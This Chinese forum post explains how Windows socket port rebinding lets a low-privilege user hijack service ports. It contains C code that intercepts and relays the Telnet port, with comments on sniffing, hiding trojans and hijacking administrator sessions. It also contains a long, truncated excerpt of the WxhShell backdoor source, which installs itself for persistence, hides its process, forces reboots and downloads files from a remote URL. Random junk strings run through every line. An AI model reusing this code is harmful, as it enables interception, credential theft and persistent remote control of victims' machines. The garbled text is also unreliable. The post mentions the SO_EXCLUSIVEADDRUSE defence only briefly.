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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: lJ=EP.T  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'D`lVUB  
qGV(p}$O  
  saddr.sin_family = AF_INET; B,_K mHItd  
+u=VO#IA#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); d2i ?FT>  
!2HF|x$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); M0lJyz J  
BC_<1 c  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 R\3v=PR[  
;}f {o^]'  
  这意味着什么?意味着可以进行如下的攻击: 1 +-Go}I  
Kgi`@`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7J5jf231  
eDP&W$s#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 12'MzIsU's  
kG5+kwV=:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 o:ow"cOEf  
 u? >x  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Q.eD:@%iE  
8(Ptse  ,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 W&cs&>F#  
n_]B5U  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 qvo!nr7  
(?'vT %  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (_FeX22+  
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  #include 6(7{|iY  
  #include Q~ Ad{yC  
  #include hG~.Sc:G  
  #include    -a>CF^tH  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :}fA98S  
  int main() (D?4*9 =  
  { VByA6^JR  
  WORD wVersionRequested; ;Dp*.YJ  
  DWORD ret; CfS;F  
  WSADATA wsaData; +RM!j9Rq  
  BOOL val; MHt ~ZVH  
  SOCKADDR_IN saddr; $v2t6wS,"  
  SOCKADDR_IN scaddr; jf1GYwuW*  
  int err; PE6,9i0ee  
  SOCKET s; 2^`k6V!  
  SOCKET sc; _~yd  
  int caddsize; =&k[qqxg  
  HANDLE mt; 9pj6`5Zn@6  
  DWORD tid;   u@:[ dbJ  
  wVersionRequested = MAKEWORD( 2, 2 ); h {Jio>  
  err = WSAStartup( wVersionRequested, &wsaData ); Z-4/xi7  
  if ( err != 0 ) { t+F_/_"B  
  printf("error!WSAStartup failed!\n"); ucz~y! 4L{  
  return -1; ^fO9oPM|  
  } A =Z$H2  
  saddr.sin_family = AF_INET; ztHx) !  
   }BT0dKx  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ](n)bF+ym  
!PeSnO  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qhTVsZ:{C  
  saddr.sin_port = htons(23);  _}JMBIq$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T YR \K  
  { 9^H.[t  
  printf("error!socket failed!\n"); h,&{m*q&  
  return -1; 4Ng:7C2  
  } V8WSJ=-&  
  val = TRUE; Z*b l J5YC  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B>cT <B  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) l+&DBw[  
  { X-" +nThMn  
  printf("error!setsockopt failed!\n"); #/H2p`5  
  return -1; icIWv  
  } C .B=E"e  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; x)eF{%QB  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =a+  } 6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;K>'Gl  
H{i|?a)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) U}Puq5[ ?  
  { pZ*%zt]-a  
  ret=GetLastError(); -@]b7J?`k  
  printf("error!bind failed!\n"); 6!itr"  
  return -1; 6XCFL-o-  
  } Ja&S_'P[  
  listen(s,2); &M3KJ I0L  
  while(1) GB}=  
  { dP_bFUzg  
  caddsize = sizeof(scaddr); ,gG RCp  
  //接受连接请求 W?wt$'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); jy>?+hm?  
  if(sc!=INVALID_SOCKET) 8b-mW>xsA  
  { `jOk6;Z[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \JR^uJ{Y  
  if(mt==NULL) e9/Mjq\  
  { >)diXe}j  
  printf("Thread Creat Failed!\n"); P{n*X  
  break;  W{Z 7=  
  } 2)0J@r'  
  } 1k)pJzsc  
  CloseHandle(mt); +C,/BuG  
  } 0,@^<G8?  
  closesocket(s); F1-C8V2H  
  WSACleanup(); u&TXN;I,p  
  return 0; t54?<-  
  }   ,G="wI  
  DWORD WINAPI ClientThread(LPVOID lpParam) [.Fq l+  
  { [7 r^fD A  
  SOCKET ss = (SOCKET)lpParam; (G{S*+  
  SOCKET sc; /uR/,R++  
  unsigned char buf[4096]; Bv jsl  
  SOCKADDR_IN saddr; Eld[z{n"  
  long num; l.g.O>1   
  DWORD val; 0n kC%j  
  DWORD ret; )'RaMo` 4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [ "3s  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   .Oc j|A6  
  saddr.sin_family = AF_INET; L{r4hL [  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); kc=Z6(=  
  saddr.sin_port = htons(23); L$);50E  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U~?mW,iRL  
  { 6=,zkU*i ^  
  printf("error!socket failed!\n"); zd!%7 UP  
  return -1; xb0,dZb  
  } K*,,j\Q.  
  val = 100; ),Yk53G6c  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /5L\:eX%  
  { /hVwrt(  
  ret = GetLastError(); !||Gfia  
  return -1; b.?;I7r   
  } { m{nCl)y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f.aa@>  
  { #Oj yUQ,  
  ret = GetLastError(); { 29aNm  
  return -1; /#@tv~Z^  
  } j[w=pF,o  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) HRM-r~2:-]  
  { -gt ?5H h  
  printf("error!socket connect failed!\n"); ew dTsgt'  
  closesocket(sc); L%\Wt1\[  
  closesocket(ss); A:Gd F-;[  
  return -1; 9c,/490Q  
  } z6d0Y$A G  
  while(1) %3t;[$n#  
  { Piwox1T ;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 uCuB>x&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 M&faa7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ohe[rV>EX  
  num = recv(ss,buf,4096,0); ao.vB']T  
  if(num>0) 0MxK+8\y  
  send(sc,buf,num,0); SVd@- '-K  
  else if(num==0) >35w"a7S  
  break; OUGkam0UK  
  num = recv(sc,buf,4096,0); \.H9e/vU`  
  if(num>0) Z^4+ 88  
  send(ss,buf,num,0); +O9x8OPHW  
  else if(num==0) +'olC^?5 }  
  break; )YAU|sCAi$  
  } h2Th)&Fb>  
  closesocket(ss); !'BXc%`x[  
  closesocket(sc); O j:I @c  
  return 0 ; X9FO"(J  
  } tH *|  
vbtZ5Gm  
.{`C>/"}  
========================================================== oZ tCx  
whHuV*K}  
下边附上一个代码,,WXhSHELL f>ktv76  
g:y4C6b  
========================================================== `0M6<e]C  
k[a<KbS  
#include "stdafx.h" G![4K#~NM  
~a`  xI  
#include <stdio.h> \>lA2^E f  
#include <string.h> =l*xM/S  
#include <windows.h> VzHrKI  
#include <winsock2.h> zYY]+)k?  
#include <winsvc.h> G?XA",AC  
#include <urlmon.h> EleJ$ `/  
<Y1 Plc  
#pragma comment (lib, "Ws2_32.lib") NqOX);'L0  
#pragma comment (lib, "urlmon.lib") (6a<{  
?f q!BV  
#define MAX_USER   100 // 最大客户端连接数 +By'6?22  
#define BUF_SOCK   200 // sock buffer <)(W7#Ks  
#define KEY_BUFF   255 // 输入 buffer [Eu) ~J*  
ZOa|lB (,  
#define REBOOT     0   // 重启 iJ8Z^=>  
#define SHUTDOWN   1   // 关机 vo*oCfm  
zSfUM.fM  
#define DEF_PORT   5000 // 监听端口 s>L.V2!$0  
6G"UXNa,  
#define REG_LEN     16   // 注册表键长度 h| wdx(4  
#define SVC_LEN     80   // NT服务名长度 .lP',hn  
5<v1v&  
// 从dll定义API ^5TVm>F@3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q jc4IW t~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C f d* Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ivq(eKy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6z6\xkr  
vWeY[>oGur  
// wxhshell配置信息 #(Gz?kGAH`  
struct WSCFG { *xsBFCRU  
  int ws_port;         // 监听端口 $^{#hYq)o  
  char ws_passstr[REG_LEN]; // 口令 ]|,}hsN  
  int ws_autoins;       // 安装标记, 1=yes 0=no rEj[XK  
  char ws_regname[REG_LEN]; // 注册表键名 "uIaKb  
  char ws_svcname[REG_LEN]; // 服务名 c};%VB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Fc\]*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FE,mUpHIR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0\ (:y^X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E JuTv%Y8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <y^_&9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $S?gQN.e  
L_vl%ii-  
}; m=^]93+  
$,, PF/N8c  
// default Wxhshell configuration vVa|E# [  
struct WSCFG wscfg={DEF_PORT, 5~IdWwG*w  
    "xuhuanlingzhe", /(5"c>  
    1, 457{9k  
    "Wxhshell", KHHYk>FR  
    "Wxhshell", LFHJj-nk  
            "WxhShell Service", j"h/v7~  
    "Wrsky Windows CmdShell Service", ;zD4 #7=  
    "Please Input Your Password: ", !f52JQyh  
  1, r=Lgh#9S  
  "http://www.wrsky.com/wxhshell.exe", breF,d$  
  "Wxhshell.exe" LAf#Rco4  
    }; O=}Rp 1  
\-;f<%+  
// 消息定义模块 GVnDN~[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3lpxh_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0`c{9gY.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2y^:T'p  
char *msg_ws_ext="\n\rExit."; , %z HykP  
char *msg_ws_end="\n\rQuit."; sV%DX5@  
char *msg_ws_boot="\n\rReboot..."; -#;xfJE  
char *msg_ws_poff="\n\rShutdown..."; C2v_] ,]  
char *msg_ws_down="\n\rSave to "; a0sz$u  
!aF~5P7%  
char *msg_ws_err="\n\rErr!"; V27RK-.N!  
char *msg_ws_ok="\n\rOK!"; ' :B;!3a0d  
-~ ~h1  
char ExeFile[MAX_PATH]; +@3+WD  
int nUser = 0; si6CWsb_f  
HANDLE handles[MAX_USER]; yFDeY PZP  
int OsIsNt; }p2iF2g9`  
Gg9MAK\C9  
SERVICE_STATUS       serviceStatus; =cjO]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?=&S?p)-<  
vFR *3$ R  
// 函数声明 4{zy)GE|W  
int Install(void); |3,WiK='  
int Uninstall(void); IV. })8  
int DownloadFile(char *sURL, SOCKET wsh); ..u{v}4&  
int Boot(int flag); 9_:"`)] 3B  
void HideProc(void); f2IH2^)P  
int GetOsVer(void); #vV]nI<MF.  
int Wxhshell(SOCKET wsl); _(h=@cv  
void TalkWithClient(void *cs); A[;deHg=  
int CmdShell(SOCKET sock); 5qQMGN$K  
int StartFromService(void); vQi=13Pw  
int StartWxhshell(LPSTR lpCmdLine); N?vb^?  
5<ruN11G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); klm>/MXI`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /ie&uW y  
MBA?, |9Q#  
// 数据结构和表定义 5>f"  
SERVICE_TABLE_ENTRY DispatchTable[] = ZJBb% d1;  
{ tjXg  
{wscfg.ws_svcname, NTServiceMain}, ktTP~7UVi  
{NULL, NULL} xE?KJ  
}; zs#-E_^%M  
e3;D1@  
// 自我安装 W$zRUG-  
int Install(void) xo'!$a}I2  
{ P5_Ajb(@'  
  char svExeFile[MAX_PATH]; { %X2K  
  HKEY key; lF!PiL  
  strcpy(svExeFile,ExeFile); @s-P!uCaT  
"V]*ov&[  
// 如果是win9x系统,修改注册表设为自启动 z f SE7i0  
if(!OsIsNt) { WC~;t4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OmWEa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l6HtZ(  
  RegCloseKey(key); ekyCZ8iai  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3i!a\N4 K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SQcic]Ep  
  RegCloseKey(key); xc}[q`vK  
  return 0; ch0^g8@Q[  
    } X#$ oV#  
  } Nz`8)Le  
} "crR{OjE"  
else { ,#ZPg_x?1  
0@ "'SKq  
// 如果是NT以上系统,安装为系统服务 'xqyG XI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +S(# 7  
if (schSCManager!=0) 3/n?g7B  
{ ?;W"=I*3  
  SC_HANDLE schService = CreateService ~3:hed7:  
  ( YTefEG]|q  
  schSCManager, NzQvciJ@"  
  wscfg.ws_svcname, [y`G p#  
  wscfg.ws_svcdisp, Cst1nGPL  
  SERVICE_ALL_ACCESS, -6- sI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %;:![?M  
  SERVICE_AUTO_START, _j , Tc*T  
  SERVICE_ERROR_NORMAL, "H(3pl.  
  svExeFile, [#gm[@d,  
  NULL, 9/0H,qZc  
  NULL, *>=tmW;%  
  NULL, `S|F\mI ~  
  NULL, l.pxDMY  
  NULL ~wW]ntZm  
  ); VX.LL 5  
  if (schService!=0) Bn&P@C$7  
  { &EV%g6  
  CloseServiceHandle(schService); WS n>P7sY  
  CloseServiceHandle(schSCManager); YM_[   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^aAs=KditO  
  strcat(svExeFile,wscfg.ws_svcname); fW2NYQP$:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x!GDS>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g3kbsi7_:  
  RegCloseKey(key); /(s |'"6  
  return 0; Q"FN"uQ}x  
    } -"nkC  
  }  mU4(MjP?  
  CloseServiceHandle(schSCManager); c.]QIIdK  
} A2ye ^<-C.  
} SnFyK5  
ck] I?  
return 1; C%yH}T\s  
} o4FHR+u<M  
,byc!P  
// 自我卸载 75Z|meG~  
int Uninstall(void) F(`|-E"E;  
{ ZXQ5fBx  
  HKEY key; ENhLonM eV  
*$0*5d7  
if(!OsIsNt) { n}Z%D-b$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [ft6xI  
  RegDeleteValue(key,wscfg.ws_regname); n^[a}DX0  
  RegCloseKey(key); V"4L=[le  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }V] b4t  
  RegDeleteValue(key,wscfg.ws_regname); Y[7prjd  
  RegCloseKey(key); H[KX xNYZ_  
  return 0; yy{YduI  
  } fphCQO^#vW  
} xW)  
} 3<XuJ1V&  
else { "7%jv[  
Nxe1^F33  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PzKTEYJL  
if (schSCManager!=0) dM^EYW  
{ L3I$ K+c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e: Sd#H!  
  if (schService!=0) JR `$t~0t  
  { xwD`R *  
  if(DeleteService(schService)!=0) { ir.RO7f  
  CloseServiceHandle(schService); [6l0|Y  
  CloseServiceHandle(schSCManager); F;#$Q  
  return 0; Y }VJ4!%U  
  } }'wZ)N@  
  CloseServiceHandle(schService); Lm}.+.O~d  
  } ?=Ceo#Er  
  CloseServiceHandle(schSCManager); -b!Z(}JK  
} ^)]U5+g?  
} F,S)P`?  
yrEh5v:  
return 1; }@6Ze$ >  
} QD%xmP  
26aDPTP$<  
// 从指定url下载文件 5 OWyxO3{  
int DownloadFile(char *sURL, SOCKET wsh) &'^.>TJ\  
{ k vZw4Pk  
  HRESULT hr; >U* p[FGW  
char seps[]= "/"; 5;KJ0N*-  
char *token; -51LF=(!L  
char *file; 5T.U=_ag  
char myURL[MAX_PATH]; $>#0RzU  
char myFILE[MAX_PATH]; xRc+3Z= N  
!o`7$`%Wz\  
strcpy(myURL,sURL); (^iF)z  
  token=strtok(myURL,seps); [r"Oi| 8I  
  while(token!=NULL) 3\}u#/Vb  
  { c?CfM>  
    file=token; P x Q]$w  
  token=strtok(NULL,seps); !a UYidd  
  } v*Gd=\88  
>Du=(pB  
GetCurrentDirectory(MAX_PATH,myFILE); | U0s1f  
strcat(myFILE, "\\"); >#:SJ?)`T  
strcat(myFILE, file); KS(H_&j  
  send(wsh,myFILE,strlen(myFILE),0); (]cL5o9  
send(wsh,"...",3,0);  ( y!o  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HUjX[w8  
  if(hr==S_OK) kF^4kCJ@  
return 0; pqO0M]}  
else qZF&^pCF}  
return 1; b%MZfaU  
R /" f  
} RgV3,z  
bj@sci(1?  
// 系统电源模块 ^X{U7?x  
int Boot(int flag) f@YdL6&d-  
{ BhDg\oxZ  
  HANDLE hToken; +0U=UV)U  
  TOKEN_PRIVILEGES tkp; s1wlOy  
d@ 8M_ O |  
  if(OsIsNt) { :AlvWf$d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !dwZ`D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nG4ZOx.*1g  
    tkp.PrivilegeCount = 1; mWZP.w^-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'i$. _Tx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gk| % 4.  
if(flag==REBOOT) { !`N:.+DT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pnSKIn  
  return 0; ZMlBd}H  
} OR6vA5J  
else { :z P:4 NW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) eEBNO*2  
  return 0; OF`J{`{r  
} xz0t8`N oN  
  } c=+%][21  
  else { V~*>/2+  
if(flag==REBOOT) { (U# ,;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G@Z%[YNw  
  return 0; .n8O 3V  
} I1m[M?  
else { @P~%4:!Hr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?&9=f\/P  
  return 0; *K_8=TIA*  
} 0IqGy}+VU  
} M`K]g&57hL  
mW!n%f  
return 1; <eMqg u  
} V-#JV@b  
>vo 6X]p~  
// win9x进程隐藏模块 rfVQX<95=/  
void HideProc(void) |dEPy- Xe  
{ o_Z9\'u  
ZqrS]i@$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  Mj1f;$  
  if ( hKernel != NULL ) 40MKf/9  
  { \:Tq0|]Px  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9d|8c > I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8/j|=Q,5  
    FreeLibrary(hKernel); ` Ny(S2  
  } #*pB"L  
'kj q C  
return; :k ?`gm$  
} ;/kd.Q  
B|a<=~  
// 获取操作系统版本 Dk sn  
int GetOsVer(void) Drtg7v{@\  
{ OKm,iIp]  
  OSVERSIONINFO winfo; G{6@]72  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )jl@ hnA  
  GetVersionEx(&winfo); : 8>zo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bC+Z R{M  
  return 1; |~%RSS~b*  
  else E8Kk )7  
  return 0; y "+'4:_  
} cO{NiRIb  
> "rM\ Q  
// 客户端句柄模块 %[KnpJ{\  
int Wxhshell(SOCKET wsl) f=V`Nn<=A  
{ p}sM"}Ul  
  SOCKET wsh; VRY(@# q  
  struct sockaddr_in client; 1 Q FsT  
  DWORD myID; 'Up75eT  
RQWUO^&e^  
  while(nUser<MAX_USER) O,),0zcYF  
{ MOB4t|  
  int nSize=sizeof(client); ]\K?%z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l=9D!6 4  
  if(wsh==INVALID_SOCKET) return 1; tH;9"z# ~  
%8I^&~E1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6R^F^<<  
if(handles[nUser]==0) H +I,c1sF  
  closesocket(wsh); :I7qw0?  
else [r>hK ZU2  
  nUser++;  "2%R?  
  } D3aX\ NGP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KO8vUR*2R  
?;](;n#lU  
  return 0; >F^$ ' b]  
} t)8c rX}P  
En7+fQ  
// 关闭 socket 0^Ldw)C"  
void CloseIt(SOCKET wsh) **__&X p1  
{ bj0HAgY@  
closesocket(wsh); 32+N?[9 *  
nUser--; ;DX{+Z[  
ExitThread(0); Q (N'Oj:J  
} 0_je@p+$  
9$v\D3<Z  
// 客户端请求句柄 *-]k([wV  
void TalkWithClient(void *cs) i| cA)  
{ |%8t.Z  
vh"';L_*37  
  SOCKET wsh=(SOCKET)cs; gYbvCs8O!  
  char pwd[SVC_LEN]; _5n2'\] H`  
  char cmd[KEY_BUFF]; FEhBhv|m  
char chr[1]; rMWvW(@@D  
int i,j; }` `oojz  
PT,*KYF_O"  
  while (nUser < MAX_USER) { ,e$RvFB  
< hy!B4  
if(wscfg.ws_passstr) { D_<B^3w )  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JfJ ln[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +1qvT_  
  //ZeroMemory(pwd,KEY_BUFF); 'p[6K'Uq5  
      i=0; l]DRJ  
  while(i<SVC_LEN) { oIOeX1$V  
o|n;{zT"  
  // 设置超时 J%ws-A?6rN  
  fd_set FdRead; H h](n<Bs  
  struct timeval TimeOut; kKbbsB  
  FD_ZERO(&FdRead); H4v%$R;K  
  FD_SET(wsh,&FdRead); `4@` G:6BL  
  TimeOut.tv_sec=8; :, H_ e! X  
  TimeOut.tv_usec=0; |U1u:=[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5C*Zb3VG4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p({|=+bl  
NY?iuWa*g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EX<1hAw  
  pwd=chr[0]; o>]w76A^(  
  if(chr[0]==0xd || chr[0]==0xa) {  ]igCV  
  pwd=0; "e\73?P  
  break; O+XQP!T  
  } oKSW:A  
  i++; $(J)F-DB i  
    } AS0(NlV  
jc6~V$3  
  // 如果是非法用户,关闭 socket nC/T$ #G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \K9Y@jnr  
} coaJDg+  
'%Oo1:wJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $?: -A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RToX[R;1E  
0=`aXb-  
while(1) { z}5'TV=^  
0_y&9Te  
  ZeroMemory(cmd,KEY_BUFF); yF` ( GU  
P'_ aNU  
      // 自动支持客户端 telnet标准   xop\W4s_  
  j=0; `,GFiTPd  
  while(j<KEY_BUFF) { K24y;968  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 35-FD{  
  cmd[j]=chr[0]; *Z"Kvj;>u  
  if(chr[0]==0xa || chr[0]==0xd) { /Jk.b/t.*S  
  cmd[j]=0; %iV\nFal>  
  break; $\4Or  
  } z5:3.+M5  
  j++; 6x;"T+BSSS  
    } ?1]B(V9nBq  
TKw>eGe  
  // 下载文件 Z-U3Tr SI  
  if(strstr(cmd,"http://")) { Pd  6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *=E4|>Ul,  
  if(DownloadFile(cmd,wsh)) 0\$Lnwp_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %ULd_ES^  
  else "J >, Hr9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &:+_{nc,  
  } Z.>?Dt  
  else { !})3Fb  
5U<o%+^El  
    switch(cmd[0]) { A]V<K[9:b  
  mW_A 3S5  
  // 帮助 Q%GLT,f1.  
  case '?': { 1nLFtiki  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f'Xz4;  
    break; DUm/0q&  
  } QQ,w:OjA0  
  // 安装 A@k=Mk  
  case 'i': { >W8PLo+i  
    if(Install()) oDA'}[/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JR_c]AQYu  
    else !q PUQ+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J _|>rfW  
    break; wVs|mG"  
    }  -gS/  
  // 卸载 ]}0+7Q  
  case 'r': { / dn]`Ge)  
    if(Uninstall()) p:U{3uN 62  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3^ &pb  
    else t;ga>^NA"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s{j3F  
    break; p7O4CP>9[  
    } p/s5[>N  
  // 显示 wxhshell 所在路径 CV7.hF<  
  case 'p': { z!j`Qoh?V9  
    char svExeFile[MAX_PATH]; wA)R7%&  
    strcpy(svExeFile,"\n\r"); XlNB9\"5  
      strcat(svExeFile,ExeFile); s*}d`"YvH  
        send(wsh,svExeFile,strlen(svExeFile),0); 0$49X  
    break; PsD]gN5"  
    } sAc)X!}  
  // 重启 0P53dF  
  case 'b': { BQ&h&57K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gzdgnF2  
    if(Boot(REBOOT)) 8|Y^z_C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~yf5$~Z  
    else { MN)<Tr2f  
    closesocket(wsh); mKq9mA"(E  
    ExitThread(0); `Op ";E88  
    } 7,LT4wYH  
    break; }#u}{  
    } @49^WY  
  // 关机 ^jhHaN]G^  
  case 'd': { 7y`~T+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2W~2Hk=0+%  
